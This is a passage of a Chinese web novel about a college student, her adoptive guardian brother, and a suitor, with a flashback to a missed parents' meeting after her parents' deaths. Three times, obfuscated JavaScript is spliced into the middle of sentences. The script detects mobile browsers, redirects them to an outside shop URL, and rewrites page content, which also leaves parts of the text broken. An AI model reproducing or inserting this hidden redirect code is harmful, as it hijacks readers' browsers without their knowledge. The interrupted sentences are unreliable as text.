程拾醒想抽回手还抽不回来,于是更生气了,怎么会有人跟个刺猬似的就喜欢跟她吵架?小时候是,没想到长大了还是。 “好好好。”她一连三个好,“你举例。” “高考结束后。” “……” 程拾醒顿了顿,仔细回想了下,安静了。 还真有这回事。 只是她没想到他会提这件事,她以为那是他们之间一致决定要装什么都没发生过的过去。 他倒在沙发上,眼睛半睁,瞥着她怔愣的模样,喉间倏地溢出了声笑。 没吵赢,她觉得憋屈,拧了拧手腕,问:“笑什么?” “没什么。”他抬手抵住唇,掩住笑意,低低咳了两声,声音很浅,“只是很久没跟你吵过架了。” “……” 她怔,停下了挣扎的动作。 而他不动,只是看着她,轻缓地呼吸着。 蒋冬至差点以为回到了过去。 程拾醒这个人,一直都没有变过,过去张牙舞爪,要强不服软,现在还是,只不过在他面前披了张乖巧的皮。她知道他,吃软不吃硬,只要她稍稍服软,哪怕是装出来的服软,哪怕是心知肚明的骗,他也会低头。 ……所以究竟是从哪一刻开始,她对他连争吵都懒得,只剩下了不从心的装与骗呢? 楼下的车鸣声终于被按下了暂停键,于是整个世界都安静了,消失了,只剩下了他们俩。 蒋冬至还是拉着她不松手,那句之后也没再吭声,黑白分明的眼睛盯着她沉默的眼睛。头顶明亮的灯光在此刻把他的皮肤照得很白,就像瓷娃娃,一碰就会碎的那种。 她与他这样僵持着,手指在泛无名的酸,酸到在颤。 四目相对了很久很久,他缓缓扭回头,她听见他若有似无的一声叹息,像一阵微弱的风拂过来。 “就陪我一会儿吧。”他道,声音轻轻的,“我今天……工作有点累。” 程拾醒被他拉住的那只袖子下,手指无意识蜷起。 半晌,他感觉到身畔的沙发陷进去一块,有个人慢吞吞靠过来,窸窸窣窣的,学着他,将脑袋仰起来,搁在靠背上方,胳膊上冰凉的布料贴在他的衬衣衣袖旁。 胃部还残余着灼烧感,蒋冬至偏过头去,闭着眼,唇角抿出一丝笑。 其实最重要的理由是,她那么喜欢大城市,他怕她不会回临霞了。 - 周二上午连着两节专选课,下了课后,范茹画挽着程拾醒的胳膊去吃午饭。 “我待会儿去买杯咖啡。”她俩端着盘子寻了个位置坐下后,程拾醒道,“昨晚剪视频剪晚了,没睡好。” “你最近是不是还挺忙的?” “嗯,刚结束完一个竞赛。”她语气很轻松,“后面就可以放松一段时间了。话说你下个月得陪我去参加个活动。” “红因平台的?” “乱佩佩你知道吗?” “知道,前段时间唱歌挺火的。” 程拾醒应了声:“对,就是她。之前互关过,她这次生日会邀请了我。” “你俩不熟吧?”范茹画迟疑,“怎么会突然邀请你?” “很正常,扩大圈子,积累人脉,对她有好处。” “看来对我们也会有很大好处。”范茹画啊了声,一边咀嚼食物一边说,“具体几号?” “时间目前定在五号。”程拾醒见她闻言明显愣了下,问,“……怎么了?” 她犹豫了下,叹口气,“那天我亲戚正好结婚,我得回趟临霞。” “好吧,看来只能我一个人孤军奋勇了。”程拾醒耸肩,也没太在意。 她吃的不多,不过六七分饱罢了,眼下早就停筷子了,靠着椅背等范茹画,见对方狼吞虎咽的动作停下了,便直起身,“吃完了?” 范茹画:“对,走吧。” 程拾醒的咖啡是提前点好的单,待倒完饭菜碗筷时,手机里已弹出取餐提醒。 咖啡店在食堂最左边,摊位边围了一圈人,其中有一道身影打眼得紧,个子高挑,身姿挺拔,套着件棕色夹克与牛仔裤,候在取餐处前。 范茹画这回总算记得他的全名了。 “这不是谈祝霄吗?”她讶然,“这么巧?” 这回估计是真挺巧。 程拾醒唇角悄无声息勾动一瞬,挽着范茹画的胳膊,步子依旧不紧不慢,目不斜视,肩膀擦着他的而过。 埋在手机里的人下意识抬起了头,见是她,眼睛一亮,慌忙叫住她:“程拾醒。” 她慢悠悠转过头,似乎这才发现他在这,礼貌地一颔首。 “你也来买咖啡啊?”谈祝霄的惊喜不言于表。 很快,他意识到自己问了一句废话,懊恼地抿了下唇,又立即补充:“我请你?” 程拾醒在柜台前找到了自己的号,提过袋子在他眼前晃了晃。 “不用,我的已经制作好了。” “这样……”他眼中的光黯淡了下来。 她表现得很平淡,对他的遗憾也视若无睹:“我先走了,拜拜。” 他看着她平静的脸。 她就仿佛只是见了个陌生人似的,没有欣喜没有雀跃,简直是毫无波澜。于是他张了张嘴,像只淋了雨湿哒哒失落得不得了还偏偏哑了嗓子的小狗,最后实在想不到有什么能说出来使气氛不干巴地延续下去的,便失魂落魄地说:“拜拜。” 程拾醒微笑在颔首示意,紧接着在他的注视下,牵着范茹画,真的转身走了,干脆利落。 倒是范茹画还回了一次头,对上谈祝霄茫茫然的眼睛,又赶紧把头扭了回来。 “不是……”她十分好奇,“这位是还在暧昧期就结束了?” 程拾醒眼底荡出一丝忍俊不禁的笑意,摇摇头:“没有啊。” “那你刚才那么冷淡?我看他刚都快急哭了。”范茹画想起来了,“我上次就想问了,你俩现在处于什么情况?” “走一步看一步的情况。”她俩出了食堂,今天的阳光还挺好,程拾醒眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054688|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了眼睛,舒服地长舒一口气,轻轻说,“我在等。” 感情中有个词叫欲情故纵,以退为进,密室那天她也迈出去一步了,聊也聊了几天了。 急? 她还就是要他急。 急不可耐才好。 - 程拾醒不咸不淡地晾了谈祝霄几天。 而就在这几天里,她同他之间那样“巧合”的事愈发多了,从宿舍门口,到选修的通识课,再到她常去的那家食堂。 范茹画每每遇见都得摇摇头。 “你别把人钓太过了。”两人周五中午在新开的波奇饭店约了顿,逛商场时路过服装店就进去瞧了瞧,眼下她隔着换衣间的门,一边聊天一边等程拾醒换完衣服出来,天聊到这里时,指节忍不住扣了扣门,“你以前也没晾谁那么久过。” “不久,正好,轻易得到的没什么意思,他要忍不了就走咯。”程拾醒漫不经心的嗓音透过门缝传出来。她低头整理了下衣服,终于推门而出,在她面前转了圈,“好看吗?” 范茹画上下扫了圈。 程拾醒是个衣架子,手长脚长,肩宽腰细,曲线明显,属于是披个麻袋都好看的身材。低腰微喇牛仔裤,棕色抹胸外套件黑色皮衣,腰肢弧度半掩在皮衣下,马甲线清晰可见。 “好看。”她一咂嘴,捏了捏皮衣,“质感还挺好的……不过你是不是有件差不多款式的?” “嗯,外套不买,就是看个搭配。”程拾醒在镜子前转了圈,又将皮衣脱下挂在臂间,左右照了照,很满意。 过几天她刚好要出个辣妹合集。 “豪气点,直接拿下。”范茹画说着,掌心手机嗡嗡振个不停,她拾起一瞧,哎了声,“你们班群里有通知紧急班会的事吗?” “怎么了?”程拾醒准备换下衣服去前台付钱了,闻言伸手去摸口袋里的手机,打开一瞧,还真有几条群里的消息,辅导员几分钟前@了全成员,她仔细读过消息,很短,读不出太多信息,只说除非有特殊理由,否则必须来参加,唯一奇怪的点在于辅导员特地叮嘱开紧急班会的事不可外传。 她蹙起眉:“是出了什么事吗?” “不知道。”范茹画倏地想起什么,一拍脑袋,“哦对,前两天我们学校不是出事了吗?估计有点关系。” “出事?” 范茹画看看左右两侧,凑近了压低音量:“有个我们专业的男生保研失败了,前两天借酒消愁喝醉了,在楼顶上站着不肯下来,一直在唱歌……你在家住没听见,可吵了都给我闹醒了,就我对面那栋楼……后面失足跳下去,听说抢救没成功。” 程拾醒点点头,大致明白这次班会的意思了——封口。 事发地点离她们专业宿舍楼近,其他人可能还不晓得,但住附近的楼上下肯定知道得差不多了。这事要是闹出去,对学校的名声、明年招生都没好处。 等到了班会的点,程拾醒坐在教室后排,撑着脸听着导员的警示,叹气。 还真没猜错。 “大家平时要注意安全,危险的地方不要上去,像河边、楼顶……” 她点亮手机看了眼,现在是晚上八点。 大抵是见她还没回来,蒋冬至给她发了个问号。 Puhpowee:【在班会。】 刺猬:【几点结束?】 她抬头看了眼台上的导员。 “……相信大家也都是成年人了,知道网络并非法外之地,什么该说什么不该说也都清楚……” Puhpowee:【不清楚。】 刺猬:【嗯,我待会儿过来接你。】 Puhpowee:【不用。】 微信里的“刺猬”没声音了,她继续撑着脸将视线落在辅导员身上,有一搭没一搭听着讲话。 不知隔了多久,锁屏处弹出一条微信消息,她垂眼一瞧,蒋冬至正叫着她的大名。 刺猬:【程拾醒。】 又是一条。 刺猬:【别人回家的时候可都巴不得家长来接自己。】 她皱了下鼻子。 Puhpowee:【怕你辛苦。】 刺猬:【嗯,算不上辛苦,等着。】 14. 14 程拾醒没再回消息,把手机翻转倒扣在桌面上,想了想还是觉得有点莫名的烦闷,捋了把头发,脊背往后一倒,靠在椅上。 结束班会已经是八点半了,人群一哄而散,她背过单肩包,随着班里的人涌出去。 室友走在她身侧,顺口问:“你今晚回宿舍吗?” “我回家。” “家和学校一个城市就是好。”室友感慨着,朝她挥挥手,“先走了,拜拜。” 程拾醒在微信里给蒋冬至扣了个1,随后手插在外套口袋里,晃着去隔壁教室门口望了眼,范茹画班会还没结束。门未关,台上导员的声音清晰地传出来,用差不多的口径讲着一模一样的事。 她倚在门口的柱子上,垂着头一边等蒋冬至来,一边玩着华容道,手指飞快滑动着屏幕,5×5的格子,算不上复杂也不需要怎么思考,不到一分钟就闯过了关卡,再点下一关。 蒋冬至来得还算快。 她猜他刚洗过澡了,今天明明是工作日却没穿正装,身上只套着件松松的黑色卫衣,袖子能盖住掌跟,此刻握着手机,不知在同谁通话,估计是工作,唇舌间绕出流利的英文。从认识他起他就喜欢看英剧,吐字是标准的英伦腔,声音悦耳。 在瞧见她之后,他加快了步伐,匆匆交流几句后挂断了电话。 程拾醒抱着胸站在那儿,看着他大步迈过来,连带着身上那股沐浴露的清香。 讲道理,蒋冬至一点都不像已经工作了几年的人,这么一身装扮少年感太重,她要不认识他,真得以为他是本校的学生,说不准还会误以为是学弟。 “事都结束了?”蒋冬至顺手提了她手里的衣服袋子,见她颔首,道,“那就走了。” 她同他走出教学楼,往停车场方向走。 外头的天是一片漆黑,风来时路灯下树影摇晃,然后再飘飘扬扬落下几片枯黄的叶子,与影子贴在一起不愿分开。 程拾醒瞧着地上自己的影子,被风撩起的长发在耳后飞舞。她琢磨着自己是不是该去剪个短发,这个发型好像有点看腻了。但是长发留久了,要真的剪,又有点舍不得。 “今天去商场了?”蒋冬至瞧了眼手里袋子上的logo。 “嗯。” “钱够花吗?” “够。” 他嗯了下:“不够再跟我说。” 程拾醒提醒他:“我很会赚钱的哥哥。” “我知道。”蒋冬至说,“趁你还在念书有生活费拿,能拿就多拿些。况且我是你哥哥,赚的钱本来就是该用来养你。” 程拾醒:“你也可以用来存彩礼。” 蒋冬至步子顿了下,转过头去看她。 “你很想要个嫂子?” 她同他无声对望了会儿,将糊在眼前的、烦人的头发拨开,也将视线从他身上挪开,淡声道:“看你。” 蒋冬至谈不谈恋爱,也不关她的事。 他睨着身侧人,倏地哼笑了声。 “很可惜让你失望了,估计很长一段时间里你都等不到了。”他把手里的袋子丢还给她,“自己拿着。” 程拾醒接过袋子,不耐地抿了下唇,正欲再说些什么,睫毛一抬,目光忽而被捉至某处。 夜间的学校,压马路的人不算少,慢吞吞地沿着人行道散步。路灯昏黄,风也喧嚣,她在拐弯处望见了马路对面的谈祝霄,还有他身侧,同他有说有笑的女生。 她想起今天范茹画那句别把人钓太过了,微扬了下眉梢。 这么禁不住寂寞? “怎么了?”蒋冬至见她停下步子,便也顺着她的视线望了过去,触及到那道身影,眸光微动。 谈祝霄明显也看见了她,惊喜在他眼底掠过,他偏头同边上的女生说了什么,而后奔了过来。 “程拾醒。”他喘了口气,又同蒋冬至问好,“哥哥好。” 与他同行的女生紧随其后,跟了上来。 程拾醒扫过两个人,淡笑:“是不是打扰到你们了?” 谈祝霄一愣,意识到她误会了,疯狂摇了摇手,着急介绍:“这是我表姐,这两天来广吴旅游。” “啊这样——表姐真漂亮。”她的表情看不出信没信,夸得倒走心,冲心花怒放的女生打了声招呼,顺口也礼尚往来地介绍了下蒋冬至,“这我哥。” “我知道。”谈祝霄看上去很开心,她向他解释,看来她怕他误会,“之前在密室见过。” 他的那位表姐眼睛却黏在蒋冬至身上,摘不下来了,在边上悄悄举了个手,“那个……我不知道。帅哥,你名字是……?” “我姓蒋。”蒋冬至扫了眼茫然疑惑的谈祝霄,礼貌地答,语气客客气气的,又很冷淡,睫毛一垂,落在身前的程拾醒身上,更冷淡了,“我们该回家了。” 她用余光瞥了眼他,唇角平了平,很快又翘起。 “下次见。”程拾醒挥手告别。 停车场就在拐角处左侧,同人道了别后,她和蒋冬至继续朝车的方向靠近,身后隐隐听见谈祝霄表姐的声音,惊呼:“哦,怪不得眼熟,这个女生是红因的……” 后半句消散在渐远的距离里。 程拾醒拎着包包和袋子上了车,“啪”一声关上了门。 驾驶座上的蒋冬至启动了车子,“安全带。” “我知道。”她扯开安全带系上。 刚一上车,天便开始下起小雨,斑斑点点落在车前窗上,被雨刮器一滚,只余下几道朦胧的水痕。 程拾醒坐在副驾驶座上继续玩她方才没结束的华容道。 前面5×5玩腻了,后来换了个8×8的,难度上来了,她总算打起了点精神,谁料还没解完,蒋冬至先到了,只好按了暂停键。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054689|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下空下来正好可以把这局打完。 雨势渐大,蒋冬至握着方向盘,趁着红绿灯交替往边上斜去一眼:“刚才那个,你朋友?” 程拾醒头也没抬,手指划得飞快:“你不是见过吗?” “看你们似乎还挺熟的。” 熟? 程拾醒仔细品了品这个字。 “还行。” 她将8和9换了个位置,结束了这局益智小游戏,愉快地呼出一口气,手机上方恰巧弹出谈祝霄的消息框,点进去瞧了眼,是张照片,背景是乡下的那种自建房,一大群人站在照片中央,应该是一整个家族。 谈祝霄个子高,人醒目,在一群中老年人几乎一眼就能锁定。不过照片似乎有些旧了,她猜这是他的高中时期,脸庞比现在要青涩很多,婴儿肥都没褪去。而站他身侧那个化着淡妆笑得灿烂的女生同方才见过一面的他的表姐极为相似。 大抵是怕她误会,所以翻了半天相册给她发了这张家族照片,以证明是真表姐。 蒋冬至道:“他和他表姐长得不太像。” “还行。”她垂首敲着键盘,嘴里回他还是那俩字。 Puhpowee:【高中的照片?】 谈祝霄:【你怎么知道?】 Puhpowee:【猜的。】 谈祝霄:【高一时候的。】 “所以你信那是他表姐的话?” 程拾醒把那声啧强行咽了下去,温声:“哥哥,你是想说什么呢?” 他也没看她,直视前方的道路,手下换了档位,“我是在提醒你,小心上当受骗,什么姐姐妹妹,或许连血缘关系都没有,那个男生看着不像个踏实的。” 她把要出口的轻嗤吞回去,只耸肩,“我们也没有血缘关系……” 尾音未落,她的身子蓦地随着急刹车止不住前倾,又被安全带勒回来,抬头一看,前面正好转红灯。 蒋冬至转过头来,心平气和地看着她,语调却压得很重:“程拾醒,你现在是在为了你那个男性朋友,跟我唱反调吗?” 程拾醒对上他的眼睛,手指摸索到手机侧边的开关键,摁灭了手机,谈祝霄发来的消息连同屏幕一起暗下。 雨声哗哗啦啦,夜太黑,车内没有照明,只凭外头的灯光穿过雨幕透过窗落进来看清他的轮廓。但这点照明在现在俨然远远不够,不够看清他眼底的神色是如何翻涌的。 “当然没有,我仅仅是在陈述事实啊哥哥。”她歪了下头,似乎十分不解,诧异又无辜,“你自己也说了,男性朋友罢了,怎么值得我跟你唱反调呢?” 他盯着她。 红灯在倒数,程拾醒轻声:“快绿灯了。” 蒋冬至总算移开目光,视线掠过她的手机,重新回到前方的道路上,挂挡踩油门。 “不值得就好。”他道。 15. 15 程拾醒洗完了澡,脱了鞋上床后,才重新想起来去看谈祝霄的微信。 谈祝霄:【你是跟妈妈姓吗?】 她并不奇怪他会问出这个问题,他估计以为蒋冬至姓程,结果今天听蒋冬至这么一报姓氏,愣了。不过她也懒得跟谈祝霄解释她跟蒋冬至之间的弯弯绕绕,这件事一解释就要花上很久,犯不着。 但她随母姓倒是真的。她爸姓比较特别,姓壤驷,字难写,名难取,最关键的是她爸上学那会儿因为名字特别总被老师抽中回答问题,烦不胜烦,淋过雨就不想让女儿撑洞洞伞,再加上她妈认为小棉袄就是该随她姓,要是个皮夹克就无所谓。故夫妻俩一拍即合,随母姓。 Puhpowee:【对。】 谈祝霄:【怪不得呢。】 谈祝霄:【感觉你和你哥关系很融洽,真好,不像我表姐,总是问我要钱还要打我。】 她蹙眉,似乎看到了什么荒谬的东西,荒唐地笑了声。 Puhpowee:【融洽?】 谈祝霄:【对,你哥似乎总是会来接你回家,上次是,这次也是。】 ——我们小时候也总是争吵打架…… 程拾醒弯着唇,在聊天框里输入着,字打到一半,突然停住了,像卡顿的机器。 她用指腹摩擦着手机侧边的壳,过了好半晌,还是按下删除键,一字不落地统统删掉。随后,她闭上眼睛,脑袋靠在枕头上,任天花板上未关的灯光将“小时候”这三个字照得泛白。 她和蒋冬至之间,究竟是从什么时候开始变得那样“融洽”的呢? 回忆被吹开一角,她重新回到了高一那年,而蒋冬至正好升大三。不过他不住学校,而是住家里,反正学校离家也不是很远。 毕竟程拾醒呢,是个十指不沾阳春水的主儿,不会做饭,而他不可能总让她吃外卖,这样对身体不好,这点他比任何人都清楚,她本来体质就不好,比他过去差得远。 “你都是个高中生了。”蒋冬至无数次嫌弃她,“饭也不会做,家务活也不干,都丢着我来。” “我每天作业超多的啊,写完作业我还要额外背单词刷试卷。我搞好自己房间就好了,哪有时间扫外面的地?还有做饭,人不会做饭怎么了?反正我又死不了。” “那我就有时间了?我不要写论文不要上课不要背单词……好吧我雅思8.5确实不太用背单词。那外面的地你是不走吗话说得那么理直气壮?吃我的住我的用我的脾气还那么差,如果你有良心的话就该回报我。” “谁说我不回报你?你知道市里中考第一什么含金量吗?开学考年级第一什么含金量……哦对想起来了,你高考语文就考了60,不知道什么含金量也正常。反正有我这样的妹妹你就偷着乐吧。” 程拾醒一直都以自己的成绩为傲,她父母总是这么说的,他们不要求她帮着做家务,也不需要她会做饭烧菜,她优秀的成绩和健康的身体就是她对他们最大的回报。 但是很显然蒋冬至不是她的父母,也不吃她这套。 他第一反应是警戒:“你偷看我高考成绩单了?谁让你偷看的?” 第二反应是反驳:“那我数学还149呢,英语还145呢,你就只盯着我坏的看是吧?” “那我说的是实话呀,你语文就是考得差嘛。”她理直气壮,“所以你就不要跟我吵架,没事多想想自己的问题,想想是不是你的理解能力有问题,想想是不是你的表达特别不中听。” 他哇了声,被气笑了,叉着腰在客厅来回踱步,半晌一摊手,尽量心平气和地问:“行,然后呢?我有什么好偷着乐的?” “我长得漂亮,会跳舞,气质好,人缘好……” 她从不谦虚,掰着手指头还要数自己更多的优点,就被蒋冬至打断了。 “那都是你的事,关我屁事。”他很漠然,“你有本事就以后赚很多的钱给我养老。” “……” 他俩就差了五岁也不知道在养老些什么,但程拾醒正吵到气头上自然也顾不上这些,气不打一处来,呸了声:“我以后挣大钱了就把你送养老院,一次都不会过来看你,我要让你在养老院里好好后悔,反省为什么年轻的时候不好好珍惜像我这样优秀的妹妹。” “这个时候倒成我妹妹了,之前不是说什么,啊,我们不是家人吗?”蒋冬至抱着胸,阴阳怪气地复刻她当时的语气,末了看着她,又说,“行啊,那你就优秀给我看,让我好好看看我未来会怎么后悔。” 那会儿刚升高一不过一个月,她就凭借聪明的脑子和勤奋在年级里创造了“那个漂亮成绩还超好的女生”传说,甚至偶尔会有其他班的课间会跑过来路过她教室窗前偷瞟她。程拾醒都知道,所以她扬起了下巴,还翘起了尾巴。 为了方便老师更好地了解新学生,学校决定召开家长会。高傲的她高傲地想,就让蒋冬至浅浅地见识一下她有多么优秀吧,如果他愿意早点后悔,她也不是不可以未来偶尔去养老院看看他的。 她怀着这样的心思,放学回了家,啪一下推开了家门。 新鲜烧好的饭菜放在桌上,还飘着香,他却不在。 她先是大喊了两遍他的名字,见无人回应,奇怪地在屋子里转悠了圈,停在他紧闭的房门前,伸手扣了扣,侧耳贴着门仔细听了听,没动静。 程拾醒偷偷地握着门把手下压,打开了一丝门缝,闭着一只眼朝里望去——没人。 最后,程拾醒在饭桌上找到了他贴着的便签,上头的字迹龙飞凤舞,说他今晚不回来,要去广吴比赛。 她捏着那张便签,怔怔了会儿,跑去房间拿了手机,开了机给他发消息。 Puhpowee:【明天下午三点,我有家长会。】 他没回答,或许是在飞机上。 程拾醒吃过了饭,将剩下的放进冰箱,洗了碗筷,手机还是没消息。 她想了想,还是问。 Puhpowee:【你会赶回来吗?】 今晚作业很多,窗外薄云流动,掠过了月亮,被一扇扇窗户框起来的万家灯火慢慢一盏盏黯淡下去,车笛声缓缓变安静。程拾醒卡着定时闹钟的铃声,在多加的那张英语卷子的作文划线处戳下最后一点,呼出一口气,将闹铃关掉,打开手机一瞧,他在半个小时前回复了她,就一个字—— 嗯。 程拾醒看着那个字,忍不住扬眉。她隐隐有些期待,期待到时候蒋冬至到时候走在学校里,因为他的妹妹名字叫作程拾醒而被人多看两眼的模样。他会感到有些惊讶、打脸,那个他一向讨厌、嫌弃的人,居然那么受人欢迎。 也许她还期待些别的,但是她不知道是什么。 尽管得了那个字,心脏处仍然空寥寥的,她不知道原因。 她知道的是,蒋冬至食言了。 翌日的下午三点,她没有等到他。 也许是因为开家长会的缘故,今天课后的走廊出奇安静,大多数人都在扮演乖巧小孩,生怕殃及池鱼。 她要上厕所,匆匆穿过长廊,进了卫生间的隔间。 正欲出来时,外头进了两个人,嬉笑着,好似是同班的,声音很耳熟。 其中一个人突然说:“程拾醒父母这次没来啊。” 她顿住,像突然被人卸下了所有力道,只剩下双脚,牢牢钉在地上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056759|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “她不是哥哥来开会吗?” “她有哥哥?不是吧,我跟她一个初中的,她是独生子女,每次家长会都是爸妈来的,而且一向一来就是两个人,脸上如出一辙的洋洋得意。” “你没听说吗?”另一个女生诧异,“她父母的事。” “什么?” 女生压低了音量,似乎是靠在了对方耳边,轻到听不清。 程拾醒静静地在隔间内站着,手搭在把手上,却迟迟推不开,听着外头窸窸窣窣完,第一个人无比遗憾地开口:“天……也算是光荣牺牲了。” “但是她很可怜啊,想想都觉得难受。哥哥还不是亲的,听说她哥一点也不喜欢她。” “怪不得连家长会都不来。但她哥为什么不喜欢她啊?” “谁知道呢,不过她哥年纪也不大,被强拉着照顾这么个没有任何血缘关系的妹妹,也挺头疼的吧……” 水池里哗啦啦的水声止住了,两个女生的聊天声渐远,直至彻底消失在耳边。程拾醒仍在那里站着,像被封印了、冻僵了,过了很久,她才呼出一口气,推开了隔间的门。 回教室的路上,她装作不经意地扫过隔壁教室,没有看见那道本该回来的身影,属于她家长的那把椅子上空空如也。 这边刚上课,隔壁家长已开会了有一会儿了。语文老师刚结束完隔壁的发言,抱着一叠作业本匆匆踏着上课铃声进了教室,叫着名字下发作业本。 叫到她时,老师抬起眼睛,温和地问:“程拾醒,你的家长怎么没有来开会?” 程拾醒接过本子,低着头:“我不知道。” “你不知道?”老师疑惑,叹了口气,“算了,你先回座位吧。” 于是,一整节课,她都没有心思再去仔细听讲了。台上的声音透过小蜜蜂在她耳边掠过,她支着额,垂首瞧着作业本,那些文字在眼中变成了模糊的斑斑点点。 她发现自己比想象中的更失落。 这份失落不仅仅来源于蒋冬至失约了,更来源于,她猛然间发觉,哪怕他来了也不能把她的心脏填满。他是蒋冬至,不是她的父母,她那为她骄傲、她犯了错也不过是摸摸头、笑得和蔼温柔的父母。 逝者无法还生,回忆无法复刻。 遥远到以为早已忘却的过去在某一刻再次给了她沉重的一击。 程拾醒不再去期待了。 其实想想也是,他又不喜欢她,平时管她吃喝已经仁至义尽,凭什么来这儿呢?这就像是她讨厌的人邀请她去自己的生日会,她肯定也是不高兴去的。 家长会结束得要比放学晚一些。于是下了课后,教室里仅是稍微吵闹了些,事实上这份吵闹也比之前安静得多,没人出教室,都在等着隔壁结束,好一起回家。 程拾醒收拾好书包,往肩上一甩,椅子推进桌下时发出微弱的、与地面的摩擦声。 她独自出了教室,手揣在校服外套口袋里,掠过隔壁教室,扬着下巴大步流星往楼梯口走。 家长会在此刻终于结束了,教室内拖拉椅子声以及交流声融在一起,人潮在她身后涌出。于是,整个世界正式开始喧嚣起来,有人在喊他们的父母,聊着开学考的成绩、最近的表现,嗔怪、责备、宠溺…… 倏地,她在长廊的尽头停下了步子,右手紧抓着肩上包带,不知出于什么缘故,回过了头。 人群.交错间,有道熟悉的身影从走廊对面奔过来,天际余晖夕阳,落日光影变幻,他朦胧的影子贴在昏黄色粉刷墙上、映在橙色地面上,随着他的靠近向后飞速掠去。到最后,所有的影子在她面前都合成了一个人—— 一个正朝她飞奔而来的人。 16. 16 蒋冬至见到她的第一句话是对不起。 他撑着双膝,弯着腰,喘到停不下来。 “航班延误了……最近的班次都没票……包括高铁。”他在她愣愣的目光中解释,似是实在喘不过来了,缓了几秒,才继续道,“对不起,我迟到了……家长会……” “结束了。”程拾醒看着他,说,“家长会已经结束了。” 蒋冬至蓦然怔住了。 她同他对视着,望见这一秒里他眼底突然浓烈到快要溢出来的情绪。 程拾醒认识蒋冬至已经很多年了,他对着她,不是臭着张脸,就是干脆直接面无表情。这是她第一次看见他露出那样复杂的情绪,茫然、慌张、难过、无措、内疚……就像一张密网,把他整个人都捕了进去,不得动弹。 内疚?他是该内疚的。 难过?他在难过些什么?该难过的人是她才对。 程拾醒这样想着,注视着他漆黑的瞳孔。她的下巴还是微微抬着,以一个高傲的姿态,可是她觉得非常难受。 在这样的四目相对里,她能在他眼底看见自己,是一个自以为高傲实际上狼狈到不行的模样。这令她有点恼怒,就好像面前这个人已经把她看透了,已经让她无地自容了。 她刚准备发怒,下一秒,蒋冬至做出了一个她完全不会预料到的动作—— 他抱住了她。 程拾醒僵住。 脑海中,洗手间里那个女生的话不停绕啊绕,绕个没完没了,绕着那句“听说她哥一点也不喜欢她”,绕着那句“她哥年纪也不大,被强拉着照顾这么个没有任何血缘关系的妹妹,也挺头疼的”。 而身前,她紧贴着一个人的心跳、燥热的温度,他弯着腰,颤抖的手环着她肩膀,仿佛正拥着一个极为珍贵的宝物,那样小心翼翼,却又那样紧,要把她融进身体那样紧。 她感觉好像有什么落在了肩上,轻如鸿毛,重于泰山。蒋冬至向她道着歉,声音闷闷的,像是在哽咽:“对不起,醒醒,对不起……” 醒醒是她的小名,蒋冬至知道,但他从来不这样喊她,就像他也从来不会这样抱她,他只会程拾醒程拾醒地喊着。于是,醒醒这两个字,就随着父母的离世一起如烟散了。 程拾醒目光失焦地落在前方,茫茫然,不知为何,忽然想到了他那个写着“StayWithMe”的抱枕。 刹那间,有个想法闪过—— 蒋冬至中学时代的每一场家长会,也是这样煎熬的吗? 一个人坐在这里,明知不可能,却还是憧憬着、期待着,另一间教室有人会为他而来,尽管姗姗来迟,但终归是坐在那把空了很久的椅子上。 可惜,希望终究会在转动着的时间中落空,所以就只能在人群喧闹中,黯淡的天色里,孤独地离场。 他们之间总有很多的差异,但在某些方面却又出奇相似。比如她的父母被埋在尘土之间,他的父母异国他乡,皆是杳无音讯。不过她空有回忆,而他有着不可期盼的未来,却没有能够回想的过去。 程拾醒缓缓地抬起手,搭放在了他的背上,从鼻息间轻轻叹出一声,也不知道究竟在叹谁。 “我没关系的。”程拾醒抱住他,第一次这么同他说,带着安慰的语气,“没关系的。” 就从这一刻起,他们达到了某种奇怪的默契,从架吵到能把天花板掀开,到了真正意义上心知肚明的相互依存、相依为命。 ……可那又怎么样呢? 程拾醒闭着眼睛,感受着灯光落在眼皮上,掌心的手机在一个劲地振动,可是她现在不想回复。 那又能怎么样呢? - 周一同范茹画一起吃午饭的时候,程拾醒正式宣布,她的“故纵”要结束了。 范茹画点点头,她觉着也是该结束了。 “那你现在对谈祝霄是打算怎么办呢?” 程拾醒抽了两双筷子,递给范茹画,淡笑未答,只问,“要不要打个赌?” “赌什么?” “今天上午我发了个朋友圈,是我的课表。” 范茹画茫然:“你发朋友圈了?我怎么没看到?” “仅他可见。” 事实上她有什么课,他估计也打探清楚了,不然也不会多次那么巧合地出现在她上课教室的附近跟她“偶遇”。但她还是得发给他看,这是一种无声的讯号。 “你真是有一套。”范茹画摇头称叹,“赌什么?” 程拾醒撑着下巴,眼睛含笑:“就赌,今天下午那节通识课,他会不会来。” “万一他那个时间段正好有课呢?” “所以是赌。” 